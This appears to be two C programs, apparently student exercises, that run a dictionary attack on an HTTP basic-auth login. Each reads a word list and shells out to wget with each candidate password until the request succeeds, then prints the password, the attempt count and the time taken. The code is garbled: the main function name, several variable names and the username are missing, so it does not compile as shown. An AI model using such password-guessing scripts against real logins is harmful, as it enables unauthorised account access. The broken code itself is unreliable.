#include "stdio.h"
#include "string.h"


#include "stdlib.h"
()
{
FILE *pfile;
int i,t,tt,num,not;
char str[255];
char [4];
char url[400];
if ((pfile = fopen("./words", "r")) == NULL)
           fprintf(stderr, "Cannot open %s\n", "output_file");

tt=time(&(t));
not=0;	   
while (!feof(pfile))
{
strcpy(str,"");
fgets(str,80,pfile);
if (strlen(str)<=4)
{
	
			strcpy(,str);
		        strcpy(url,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");
			
			strcat(url," --http-user= --http-passwd=");
			strcat(url,); 
			
		    	num=system(url);
			not++;
			if (num==0)
			
			{
				printf("The actual password is :%s\n",);
				time(&(t));
				tt=t-tt;
				printf("The number of attempts  crack the passssword by dictionary method is :%d\n",not);
				printf("The time_var taken  find the password by dictionary method is :%d seconds\n",tt);
				exit(1);
				
			}
						
			else
			{
			strcpy(,"");
			}
	
		
}


}


}

#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>

char *bruteforce(int *attempts);


int (void){

   int i, counter;
   int Timetaken;
   int initTime = 0, exitTime = 0;
   initTime = time();
   bruteforce(&counter);
   exitTime = time();
   Timetaken = exitTime - initTime;
   printf("\nTime taken is %lld millisecond\n", (Timetaken)/());
   printf("\nNumber of attempts  is... %d", counter);
   return 0;
}


char *bruteforce(int *attempts){     
  
   FILE *fp;
   char ch[100];
	*attempts=0;

   fp = fopen("/usr/share/lib/dict/words", "r");
   if (fp == NULL) {
      printf("file  not  open");
   }
   while (fgets(ch, 100, fp) != NULL){
	
		(*attempts)++;

      int  j = 0;
      while (j <= 100){

         if (ch[j] == '\n') {
            ch[j] = '\0';
            break;
         }
         j = j + 1;
       }
		 
       char  [100] = "wget  --http-user= --http-passwd=";
       strcat(, ch);
       strcat(, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");
       printf("%s\n", );
       if (system() == 0){
          printf("Password cracked successfully: ");
          printf("Password is %s", ch);
          return NULL;
       }
   }
  
   fclose(fp);
}
